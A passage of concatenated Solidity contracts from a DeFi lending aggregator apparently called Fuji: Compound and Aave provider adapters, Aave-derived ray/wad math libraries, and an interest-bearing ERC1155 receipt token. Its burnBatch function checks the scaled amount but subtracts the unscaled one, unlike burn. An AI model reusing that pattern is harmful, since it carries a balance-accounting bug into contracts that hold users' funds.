function repayBorrow(uint256 repayAmount) external returns (uint256);
function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256);
}
interface ICEth is IGenCToken {
function mint() external payable;
function repayBorrow() external payable;
function repayBorrowBehalf(address borrower) external payable;
}
interface IComptroller {
function markets(address) external returns (bool, uint256);
function enterMarkets(address[] calldata) external returns (uint256[] memory);
function exitMarket(address cTokenAddress) external returns (uint256);
function getAccountLiquidity(address)
external
view
returns (
uint256,
uint256,
uint256
);
}
interface IFujiMappings {
function addressMapping(address) external view returns (address);
}
contract HelperFunct {
function _isETH(address token) internal pure returns (bool) {
return (token == address(0) || token == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE));
}
function _getMappingAddr() internal pure returns (address) {
return 0x6b09443595BFb8F91eA837c7CB4Fe1255782093b;
}
function _getComptrollerAddress() internal pure returns (address) {
return 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
}
//Compound functions
/**
* @dev Approves vault's assets as collateral for Compound Protocol.
* @param _cTokenAddress: asset type to be approved as collateral.
*/
function _enterCollatMarket(address _cTokenAddress) internal {
// Create a reference to the corresponding network Comptroller
IComptroller comptroller = IComptroller(_getComptrollerAddress());
address[] memory cTokenMarkets = new address[](1);
cTokenMarkets[0] = _cTokenAddress;
comptroller.enterMarkets(cTokenMarkets);
}
/**
* @dev Removes vault's assets as collateral for Compound Protocol.
* @param _cTokenAddress: asset type to be removed as collateral.
*/
function _exitCollatMarket(address _cTokenAddress) internal {
// Create a reference to the corresponding network Comptroller
IComptroller comptroller = IComptroller(_getComptrollerAddress());
comptroller.exitMarket(_cTokenAddress);
}
}
contract ProviderCompound is IProvider, HelperFunct {
using SafeMath for uint256;
using UniERC20 for IERC20;
//Provider Core Functions
/**
* @dev Deposit ETH/ERC20_Token.
* @param _asset: token address to deposit. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to deposit.
*/
function deposit(address _asset, uint256 _amount) external payable override {
//Get cToken address from mapping
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
//Enter and/or ensure collateral market is enacted
_enterCollatMarket(cTokenAddr);
if (_isETH(_asset)) {
// Create a reference to the cToken contract
ICEth cToken = ICEth(cTokenAddr);
//Compound protocol Mints cTokens, ETH method
cToken.mint{ value: _amount }();
} else {
// Create reference to the ERC20 contract
IERC20 erc20token = IERC20(_asset);
// Create a reference to the cToken contract
ICErc20 cToken = ICErc20(cTokenAddr);
//Checks, Vault balance of ERC20 to make deposit
require(erc20token.balanceOf(address(this)) >= _amount, "Not enough Balance");
//Approve to move ERC20tokens
erc20token.uniApprove(address(cTokenAddr), _amount);
// Compound Protocol mints cTokens, trhow error if not
require(cToken.mint(_amount) == 0, "Deposit-failed");
}
}
/**
* @dev Withdraw ETH/ERC20_Token.
* @param _asset: token address to withdraw. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to withdraw.
*/
function withdraw(address _asset, uint256 _amount) external payable override {
//Get cToken address from mapping
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
// Create a reference to the corresponding cToken contract
IGenCToken cToken = IGenCToken(cTokenAddr);
//Compound Protocol Redeem Process, throw errow if not.
require(cToken.redeemUnderlying(_amount) == 0, "Withdraw-failed");
}
/**
* @dev Borrow ETH/ERC20_Token.
* @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to borrow.
*/
function borrow(address _asset, uint256 _amount) external payable override {
//Get cToken address from mapping
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
// Create a reference to the corresponding cToken contract
IGenCToken cToken = IGenCToken(cTokenAddr);
//Enter and/or ensure collateral market is enacted
//_enterCollatMarket(cTokenAddr);
//Compound Protocol Borrow Process, throw errow if not.
require(cToken.borrow(_amount) == 0, "borrow-failed");
}
/**
* @dev Payback borrowed ETH/ERC20_Token.
* @param _asset token address to payback.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to payback.
*/
function payback(address _asset, uint256 _amount) external payable override {
//Get cToken address from mapping
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
if (_isETH(_asset)) {
// Create a reference to the corresponding cToken contract
ICEth cToken = ICEth(cTokenAddr);
cToken.repayBorrow{ value: msg.value }();
} else {
// Create reference to the ERC20 contract
IERC20 erc20token = IERC20(_asset);
// Create a reference to the corresponding cToken contract
ICErc20 cToken = ICErc20(cTokenAddr);
// Check there is enough balance to pay
require(erc20token.balanceOf(address(this)) >= _amount, "Not-enough-token");
erc20token.uniApprove(address(cTokenAddr), _amount);
cToken.repayBorrow(_amount);
}
}
/**
* @dev Returns the current borrowing rate (APR) of a ETH/ERC20_Token, in ray(1e27).
* @param _asset: token address to query the current borrowing rate.
*/
function getBorrowRateFor(address _asset) external view override returns (uint256) {
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
//Block Rate transformed for common mantissa for Fuji in ray (1e27), Note: Compound uses base 1e18
uint256 bRateperBlock = (IGenCToken(cTokenAddr).borrowRatePerBlock()).mul(10**9);
// The approximate number of blocks per year that is assumed by the Compound interest rate model
uint256 blocksperYear = 2102400;
return bRateperBlock.mul(blocksperYear);
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getBorrowBalance(address _asset) external view override returns (uint256) {
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
return IGenCToken(cTokenAddr).borrowBalanceStored(msg.sender);
}
/**
* @dev Return borrow balance of ETH/ERC20_Token.
* This function is the accurate way to get Compound borrow balance.
* It costs ~84K gas and is not a view function.
* @param _asset token address to query the balance.
* @param _who address of the account.
*/
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
return IGenCToken(cTokenAddr).borrowBalanceCurrent(_who);
}
/**
* @dev Returns the deposit balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getDepositBalance(address _asset) external view override returns (uint256) {
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
uint256 cTokenBal = IGenCToken(cTokenAddr).balanceOf(msg.sender);
uint256 exRate = IGenCToken(cTokenAddr).exchangeRateStored();
return exRate.mul(cTokenBal).div(1e18);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.0;
pragma experimental ABIEncoderV2;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface ITokenInterface {
function approve(address, uint256) external;
function transfer(address, uint256) external;
function transferFrom(
address,
address,
uint256
) external;
function deposit() external payable;
function withdraw(uint256) external;
function balanceOf(address) external view returns (uint256);
function decimals() external view returns (uint256);
}
interface IAaveInterface {
function deposit(
address _asset,
uint256 _amount,
address _onBehalfOf,
uint16 _referralCode
) external;
function withdraw(
address _asset,
uint256 _amount,
address _to
) external;
function borrow(
address _asset,
uint256 _amount,
uint256 _interestRateMode,
uint16 _referralCode,
address _onBehalfOf
) external;
function repay(
address _asset,
uint256 _amount,
uint256 _rateMode,
address _onBehalfOf
) external;
function setUserUseReserveAsCollateral(address _asset, bool _useAsCollateral) external;
}
interface AaveLendingPoolProviderInterface {
function getLendingPool() external view returns (address);
}
interface AaveDataProviderInterface {
function getReserveTokensAddresses(address _asset)
external
view
returns (
address aTokenAddress,
address stableDebtTokenAddress,
address variableDebtTokenAddress
);
function getUserReserveData(address _asset, address _user)
external
view
returns (
uint256 currentATokenBalance,
uint256 currentStableDebt,
uint256 currentVariableDebt,
uint256 principalStableDebt,
uint256 scaledVariableDebt,
uint256 stableBorrowRate,
uint256 liquidityRate,
uint40 stableRateLastUpdated,
bool usageAsCollateralEnabled
);
function getReserveData(address _asset)
external
view
returns (
uint256 availableLiquidity,
uint256 totalStableDebt,
uint256 totalVariableDebt,
uint256 liquidityRate,
uint256 variableBorrowRate,
uint256 stableBorrowRate,
uint256 averageStableBorrowRate,
uint256 liquidityIndex,
uint256 variableBorrowIndex,
uint40 lastUpdateTimestamp
);
}
interface AaveAddressProviderRegistryInterface {
function getAddressesProvidersList() external view returns (address[] memory);
}
contract ProviderAave is IProvider {
using SafeMath for uint256;
using UniERC20 for IERC20;
function _getAaveProvider() internal pure returns (AaveLendingPoolProviderInterface) {
return AaveLendingPoolProviderInterface(0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5); //mainnet
}
function _getAaveDataProvider() internal pure returns (AaveDataProviderInterface) {
return AaveDataProviderInterface(0x057835Ad21a177dbdd3090bB1CAE03EaCF78Fc6d); //mainnet
}
function _getWethAddr() internal pure returns (address) {
return 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // Mainnet WETH Address
}
function _getEthAddr() internal pure returns (address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // ETH Address
}
function _getIsColl(
AaveDataProviderInterface _aaveData,
address _token,
address _user
) internal view returns (bool isCol) {
(, , , , , , , , isCol) = _aaveData.getUserReserveData(_token, _user);
}
function _convertEthToWeth(
bool _isEth,
ITokenInterface _token,
uint256 _amount
) internal {
if (_isEth) _token.deposit{ value: _amount }();
}
function _convertWethToEth(
bool _isEth,
ITokenInterface _token,
uint256 _amount
) internal {
if (_isEth) {
_token.approve(address(_token), _amount);
_token.withdraw(_amount);
}
}
/**
* @dev Return the borrowing rate of ETH/ERC20_Token.
* @param _asset to query the borrowing rate.
*/
function getBorrowRateFor(address _asset) external view override returns (uint256) {
AaveDataProviderInterface aaveData = _getAaveDataProvider();
(, , , , uint256 variableBorrowRate, , , , , ) =
AaveDataProviderInterface(aaveData).getReserveData(
_asset == _getEthAddr() ? _getWethAddr() : _asset
);
return variableBorrowRate;
}
/**
* @dev Return borrow balance of ETH/ERC20_Token.
* @param _asset token address to query the balance.
*/
function getBorrowBalance(address _asset) external view override returns (uint256) {
AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
(, , uint256 variableDebt, , , , , , ) = aaveData.getUserReserveData(_token, msg.sender);
return variableDebt;
}
/**
* @dev Return borrow balance of ETH/ERC20_Token.
* @param _asset token address to query the balance.
* @param _who address of the account.
*/
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
(, , uint256 variableDebt, , , , , , ) = aaveData.getUserReserveData(_token, _who);
return variableDebt;
}
/**
* @dev Return deposit balance of ETH/ERC20_Token.
* @param _asset token address to query the balance.
*/
function getDepositBalance(address _asset) external view override returns (uint256) {
AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
(uint256 atokenBal, , , , , , , , ) = aaveData.getUserReserveData(_token, msg.sender);
return atokenBal;
}
/**
* @dev Deposit ETH/ERC20_Token.
* @param _asset token address to deposit.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount token amount to deposit.
*/
function deposit(address _asset, uint256 _amount) external payable override {
IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool());
AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
ITokenInterface tokenContract = ITokenInterface(_token);
if (isEth) {
_amount = _amount == uint256(-1) ? address(this).balance : _amount;
_convertEthToWeth(isEth, tokenContract, _amount);
} else {
_amount = _amount == uint256(-1) ? tokenContract.balanceOf(address(this)) : _amount;
}
tokenContract.approve(address(aave), _amount);
aave.deposit(_token, _amount, address(this), 0);
if (!_getIsColl(aaveData, _token, address(this))) {
aave.setUserUseReserveAsCollateral(_token, true);
}
}
/**
* @dev Borrow ETH/ERC20_Token.
* @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount token amount to borrow.
*/
function borrow(address _asset, uint256 _amount) external payable override {
IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool());
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
aave.borrow(_token, _amount, 2, 0, address(this));
_convertWethToEth(isEth, ITokenInterface(_token), _amount);
}
/**
* @dev Withdraw ETH/ERC20_Token.
* @param _asset token address to withdraw.
* @param _amount token amount to withdraw.
*/
function withdraw(address _asset, uint256 _amount) external payable override {
IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool());
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
ITokenInterface tokenContract = ITokenInterface(_token);
uint256 initialBal = tokenContract.balanceOf(address(this));
aave.withdraw(_token, _amount, address(this));
uint256 finalBal = tokenContract.balanceOf(address(this));
_amount = finalBal.sub(initialBal);
_convertWethToEth(isEth, tokenContract, _amount);
}
/**
* @dev Payback borrowed ETH/ERC20_Token.
* @param _asset token address to payback.
* @param _amount token amount to payback.
*/
function payback(address _asset, uint256 _amount) external payable override {
IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool());
AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
ITokenInterface tokenContract = ITokenInterface(_token);
(, , uint256 variableDebt, , , , , , ) = aaveData.getUserReserveData(_token, address(this));
_amount = _amount == uint256(-1) ? variableDebt : _amount;
if (isEth) _convertEthToWeth(isEth, tokenContract, _amount);
tokenContract.approve(address(aave), _amount);
aave.repay(_token, _amount, 2, address(this));
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { WadRayMath } from "./WadRayMath.sol";
library MathUtils {
using SafeMath for uint256;
using WadRayMath for uint256;
/// @dev Ignoring leap years
uint256 internal constant _SECONDS_PER_YEAR = 365 days;
/**
* @dev Function to calculate the interest accumulated using a linear interest rate formula
* @param rate The interest rate, in ray
* @param lastUpdateTimestamp The timestamp of the last update of the interest
* @return The interest rate linearly accumulated during the timeDelta, in ray
**/
function calculateLinearInterest(uint256 rate, uint40 lastUpdateTimestamp)
internal
view
returns (uint256)
{
//solhint-disable-next-line
uint256 timeDifference = block.timestamp.sub(uint256(lastUpdateTimestamp));
return (rate.mul(timeDifference) / _SECONDS_PER_YEAR).add(WadRayMath.ray());
}
/**
* @dev Function to calculate the interest using a compounded interest rate formula
* To avoid expensive exponentiation, the calculation is performed using a binomial approximation:
*
* (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3...
*
* The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great gas cost reductions
* The whitepaper contains reference to the approximation and a table showing the margin of error per different time periods
*
* @param rate The interest rate, in ray
* @param lastUpdateTimestamp The timestamp of the last update of the interest
* @return The interest rate compounded during the timeDelta, in ray
**/
function calculateCompoundedInterest(
uint256 rate,
uint40 lastUpdateTimestamp,
uint256 currentTimestamp
) internal pure returns (uint256) {
//solhint-disable-next-line
uint256 exp = currentTimestamp.sub(uint256(lastUpdateTimestamp));
if (exp == 0) {
return WadRayMath.ray();
}
uint256 expMinusOne = exp - 1;
uint256 expMinusTwo = exp > 2 ? exp - 2 : 0;
uint256 ratePerSecond = rate / _SECONDS_PER_YEAR;
uint256 basePowerTwo = ratePerSecond.rayMul(ratePerSecond);
uint256 basePowerThree = basePowerTwo.rayMul(ratePerSecond);
uint256 secondTerm = exp.mul(expMinusOne).mul(basePowerTwo) / 2;
uint256 thirdTerm = exp.mul(expMinusOne).mul(expMinusTwo).mul(basePowerThree) / 6;
return WadRayMath.ray().add(ratePerSecond.mul(exp)).add(secondTerm).add(thirdTerm);
}
/**
* @dev Calculates the compounded interest between the timestamp of the last update and the current block timestamp
* @param rate The interest rate (in ray)
* @param lastUpdateTimestamp The timestamp from which the interest accumulation needs to be calculated
**/
function calculateCompoundedInterest(uint256 rate, uint40 lastUpdateTimestamp)
internal
view
returns (uint256)
{
//solhint-disable-next-line
return calculateCompoundedInterest(rate, lastUpdateTimestamp, block.timestamp);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import { Errors } from "./Errors.sol";
/**
* @title WadRayMath library
* @author Aave
* @dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits)
**/
library WadRayMath {
uint256 internal constant _WAD = 1e18;
uint256 internal constant _HALF_WAD = _WAD / 2;
uint256 internal constant _RAY = 1e27;
uint256 internal constant _HALF_RAY = _RAY / 2;
uint256 internal constant _WAD_RAY_RATIO = 1e9;
/**
* @return One ray, 1e27
**/
function ray() internal pure returns (uint256) {
return _RAY;
}
/**
* @return One wad, 1e18
**/
function wad() internal pure returns (uint256) {
return _WAD;
}
/**
* @return Half ray, 1e27/2
**/
function halfRay() internal pure returns (uint256) {
return _HALF_RAY;
}
/**
* @return Half ray, 1e18/2
**/
function halfWad() internal pure returns (uint256) {
return _HALF_WAD;
}
/**
* @dev Multiplies two wad, rounding half up to the nearest wad
* @param a Wad
* @param b Wad
* @return The result of a*b, in wad
**/
function wadMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
require(a <= (type(uint256).max - _HALF_WAD) / b, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * b + _HALF_WAD) / _WAD;
}
/**
* @dev Divides two wad, rounding half up to the nearest wad
* @param a Wad
* @param b Wad
* @return The result of a/b, in wad
**/
function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, Errors.MATH_DIVISION_BY_ZERO);
uint256 halfB = b / 2;
require(a <= (type(uint256).max - halfB) / _WAD, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * _WAD + halfB) / b;
}
/**
* @dev Multiplies two ray, rounding half up to the nearest ray
* @param a Ray
* @param b Ray
* @return The result of a*b, in ray
**/
function rayMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
require(a <= (type(uint256).max - _HALF_RAY) / b, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * b + _HALF_RAY) / _RAY;
}
/**
* @dev Divides two ray, rounding half up to the nearest ray
* @param a Ray
* @param b Ray
* @return The result of a/b, in ray
**/
function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, Errors.MATH_DIVISION_BY_ZERO);
uint256 halfB = b / 2;
require(a <= (type(uint256).max - halfB) / _RAY, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * _RAY + halfB) / b;
}
/**
* @dev Casts ray down to wad
* @param a Ray
* @return a casted to wad, rounded half up to the nearest wad
**/
function rayToWad(uint256 a) internal pure returns (uint256) {
uint256 halfRatio = _WAD_RAY_RATIO / 2;
uint256 result = halfRatio + a;
require(result >= halfRatio, Errors.MATH_ADDITION_OVERFLOW);
return result / _WAD_RAY_RATIO;
}
/**
* @dev Converts wad up to ray
* @param a Wad
* @return a converted in ray
**/
function wadToRay(uint256 a) internal pure returns (uint256) {
uint256 result = a * _WAD_RAY_RATIO;
require(result / _WAD_RAY_RATIO == a, Errors.MATH_MULTIPLICATION_OVERFLOW);
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
import { IFujiERC1155 } from "./IFujiERC1155.sol";
import { FujiBaseERC1155 } from "./FujiBaseERC1155.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { WadRayMath } from "../Libraries/WadRayMath.sol";
import { MathUtils } from "../Libraries/MathUtils.sol";
import { Errors } from "../Libraries/Errors.sol";
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
contract F1155Manager is Ownable {
using Address for address;
// Controls for Mint-Burn Operations
mapping(address => bool) public addrPermit;
modifier onlyPermit() {
require(addrPermit[_msgSender()] || msg.sender == owner(), Errors.VL_NOT_AUTHORIZED);
_;
}
function setPermit(address _address, bool _permit) public onlyOwner {
require((_address).isContract(), Errors.VL_NOT_A_CONTRACT);
addrPermit[_address] = _permit;
}
}
contract FujiERC1155 is IFujiERC1155, FujiBaseERC1155, F1155Manager {
using WadRayMath for uint256;
//FujiERC1155 Asset ID Mapping
//AssetType => asset reference address => ERC1155 Asset ID
mapping(AssetType => mapping(address => uint256)) public assetIDs;
//Control mapping that returns the AssetType of an AssetID
mapping(uint256 => AssetType) public assetIDtype;
uint64 public override qtyOfManagedAssets;
//Asset ID Liquidity Index mapping
//AssetId => Liquidity index for asset ID
mapping(uint256 => uint256) public indexes;
// Optimizer Fee expressed in Ray, where 1 ray = 100% APR
//uint256 public optimizerFee;
//uint256 public lastUpdateTimestamp;
//uint256 public fujiIndex;
/// @dev Ignoring leap years
//uint256 internal constant SECONDS_PER_YEAR = 365 days;
constructor() public {
//fujiIndex = WadRayMath.ray();
//optimizerFee = 1e24;
}
/**
* @dev Updates Index of AssetID
* @param _assetID: ERC1155 ID of the asset which state will be updated.
* @param newBalance: Amount
**/
function updateState(uint256 _assetID, uint256 newBalance) external override onlyPermit {
uint256 total = totalSupply(_assetID);
if (newBalance > 0 && total > 0 && newBalance > total) {
uint256 diff = newBalance.sub(total);
uint256 amountToIndexRatio = (diff.wadToRay()).rayDiv(total.wadToRay());
uint256 result = amountToIndexRatio.add(WadRayMath.ray());
result = result.rayMul(indexes[_assetID]);
require(result <= type(uint128).max, Errors.VL_INDEX_OVERFLOW);
indexes[_assetID] = uint128(result);
// TODO: calculate interest rate for a fujiOptimizer Fee.
/*
if(lastUpdateTimestamp==0){
lastUpdateTimestamp = block.timestamp;
}
uint256 accrued = _calculateCompoundedInterest(
optimizerFee,
lastUpdateTimestamp,
block.timestamp
).rayMul(fujiIndex);
fujiIndex = accrued;
lastUpdateTimestamp = block.timestamp;
*/
}
}
/**
* @dev Returns the total supply of Asset_ID with accrued interest.
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
function totalSupply(uint256 _assetID) public view virtual override returns (uint256) {
// TODO: include interest accrued by Fuji OptimizerFee
return super.totalSupply(_assetID).rayMul(indexes[_assetID]);
}
/**
* @dev Returns the scaled total supply of the token ID. Represents sum(token ID Principal /index)
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
function scaledTotalSupply(uint256 _assetID) public view virtual returns (uint256) {
return super.totalSupply(_assetID);
}
/**
* @dev Returns the principal + accrued interest balance of the user
* @param _account: address of the User
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
function balanceOf(address _account, uint256 _assetID)
public
view
override(FujiBaseERC1155, IFujiERC1155)
returns (uint256)
{
uint256 scaledBalance = super.balanceOf(_account, _assetID);
if (scaledBalance == 0) {
return 0;
}
// TODO: include interest accrued by Fuji OptimizerFee
return scaledBalance.rayMul(indexes[_assetID]);
}
/**
* @dev Returns the balance of User, split into owed amounts to BaseProtocol and FujiProtocol
* @param _account: address of the User
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
/*
function splitBalanceOf(
address _account,
uint256 _assetID
) public view override returns (uint256,uint256) {
uint256 scaledBalance = super.balanceOf(_account, _assetID);
if (scaledBalance == 0) {
return (0,0);
} else {
TO DO COMPUTATION
return (baseprotocol, fuji);
}
}
*/
/**
* @dev Returns Scaled Balance of the user (e.g. balance/index)
* @param _account: address of the User
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
function scaledBalanceOf(address _account, uint256 _assetID)
public
view
virtual
returns (uint256)
{
return super.balanceOf(_account, _assetID);
}
/**
* @dev Returns the sum of balance of the user for an AssetType.
* This function is used for when AssetType have units of account of the same value (e.g stablecoins)
* @param _account: address of the User
* @param _type: enum AssetType, 0 = Collateral asset, 1 = debt asset
**/
/*
function balanceOfBatchType(address _account, AssetType _type) external view override returns (uint256 total) {
uint256[] memory IDs = engagedIDsOf(_account, _type);
for(uint i; i < IDs.length; i++ ){
total = total.add(balanceOf(_account, IDs[i]));
}
}
*/
/**
* @dev Mints tokens for Collateral and Debt receipts for the Fuji Protocol
* Emits a {TransferSingle} event.
* Requirements:
* - `_account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
* - `_amount` should be in WAD
*/
function mint(
address _account,
uint256 _id,
uint256 _amount,
bytes memory _data
) external override onlyPermit {
require(_account != address(0), Errors.VL_ZERO_ADDR_1155);
address operator = _msgSender();
uint256 accountBalance = _balances[_id][_account];
uint256 assetTotalBalance = _totalSupply[_id];
uint256 amountScaled = _amount.rayDiv(indexes[_id]);
require(amountScaled != 0, Errors.VL_INVALID_MINT_AMOUNT);
_balances[_id][_account] = accountBalance.add(amountScaled);
_totalSupply[_id] = assetTotalBalance.add(amountScaled);
emit TransferSingle(operator, address(0), _account, _id, _amount);
_doSafeTransferAcceptanceCheck(operator, address(0), _account, _id, _amount, _data);
}
/**
* @dev [Batched] version of {mint}.
* Requirements:
* - `_ids` and `_amounts` must have the same length.
* - If `_to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function mintBatch(
address _to,
uint256[] memory _ids,
uint256[] memory _amounts,
bytes memory _data
) external onlyPermit {
require(_to != address(0), Errors.VL_ZERO_ADDR_1155);
require(_ids.length == _amounts.length, Errors.VL_INPUT_ERROR);
address operator = _msgSender();
uint256 accountBalance;
uint256 assetTotalBalance;
uint256 amountScaled;
for (uint256 i = 0; i < _ids.length; i++) {
accountBalance = _balances[_ids[i]][_to];
assetTotalBalance = _totalSupply[_ids[i]];
amountScaled = _amounts[i].rayDiv(indexes[_ids[i]]);
require(amountScaled != 0, Errors.VL_INVALID_MINT_AMOUNT);
_balances[_ids[i]][_to] = accountBalance.add(amountScaled);
_totalSupply[_ids[i]] = assetTotalBalance.add(amountScaled);
}
emit TransferBatch(operator, address(0), _to, _ids, _amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), _to, _ids, _amounts, _data);
}
/**
* @dev Destroys `_amount` receipt tokens of token type `_id` from `account` for the Fuji Protocol
* Requirements:
* - `account` cannot be the zero address.
* - `account` must have at least `_amount` tokens of token type `_id`.
* - `_amount` should be in WAD
*/
function burn(
address _account,
uint256 _id,
uint256 _amount
) external override onlyPermit {
require(_account != address(0), Errors.VL_ZERO_ADDR_1155);
address operator = _msgSender();
uint256 accountBalance = _balances[_id][_account];
uint256 assetTotalBalance = _totalSupply[_id];
uint256 amountScaled = _amount.rayDiv(indexes[_id]);
require(amountScaled != 0 && accountBalance >= amountScaled, Errors.VL_INVALID_BURN_AMOUNT);
_balances[_id][_account] = accountBalance.sub(amountScaled);
_totalSupply[_id] = assetTotalBalance.sub(amountScaled);
emit TransferSingle(operator, _account, address(0), _id, _amount);
}
/**
* @dev [Batched] version of {burn}.
* Requirements:
* - `_ids` and `_amounts` must have the same length.
*/
function burnBatch(
address _account,
uint256[] memory _ids,
uint256[] memory _amounts
) external onlyPermit {
require(_account != address(0), Errors.VL_ZERO_ADDR_1155);
require(_ids.length == _amounts.length, Errors.VL_INPUT_ERROR);
address operator = _msgSender();
uint256 accountBalance;
uint256 assetTotalBalance;
uint256 amountScaled;
for (uint256 i = 0; i < _ids.length; i++) {
uint256 amount = _amounts[i];
accountBalance = _balances[_ids[i]][_account];
assetTotalBalance = _totalSupply[_ids[i]];
amountScaled = _amounts[i].rayDiv(indexes[_ids[i]]);
require(amountScaled != 0 && accountBalance >= amountScaled, Errors.VL_INVALID_BURN_AMOUNT);
_balances[_ids[i]][_account] = accountBalance.sub(amount);
_totalSupply[_ids[i]] = assetTotalBalance.sub(amount);
}
emit TransferBatch(operator, _account, address(0), _ids, _amounts);
}
//Getter Functions
/**
* @dev Getter Function for the Asset ID locally managed
* @param _type: enum AssetType, 0 = Collateral asset, 1 = debt asset
* @param _addr: Reference Address of the Asset
*/
function getAssetID(AssetType _type, address _addr) external view override returns (uint256 id) {
id = assetIDs[_type][_addr];
require(id <= qtyOfManagedAssets, Errors.VL_INVALID_ASSETID_1155);
}
//Setter Functions
/**
* @dev Sets the FujiProtocol Fee to be charged
* @param _fee; Fee in Ray(1e27) to charge users for optimizerFee (1 ray = 100% APR)
*/
/*
function setoptimizerFee(uint256 _fee) public onlyOwner {
require(_fee >= WadRayMath.ray(), Errors.VL_OPTIMIZER_FEE_SMALL);
optimizerFee = _fee;
}
*/
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
*/
function setURI(string memory _newUri) public onlyOwner {
_uri = _newUri;
}
/**
* @dev Adds and initializes liquidity index of a new asset in FujiERC1155
* @param _type: enum AssetType, 0 = Collateral asset, 1 = debt asset
* @param _addr: Reference Address of the Asset
*/
function addInitializeAsset(AssetType _type, address _addr)
external
override
onlyPermit
returns (uint64)
{
require(assetIDs[_type][_addr] == 0, Errors.VL_ASSET_EXISTS);
assetIDs[_type][_addr] = qtyOfManagedAssets;
assetIDtype[qtyOfManagedAssets] = _type;
//Initialize the liquidity Index
indexes[qtyOfManagedAssets] = WadRayMath.ray();
qtyOfManagedAssets++;
return qtyOfManagedAssets - 1;
}
/**
* @dev Function to calculate the interest using a compounded interest rate formula
* To avoid expensive exponentiation, the calculation is performed using a binomial approximation:
*
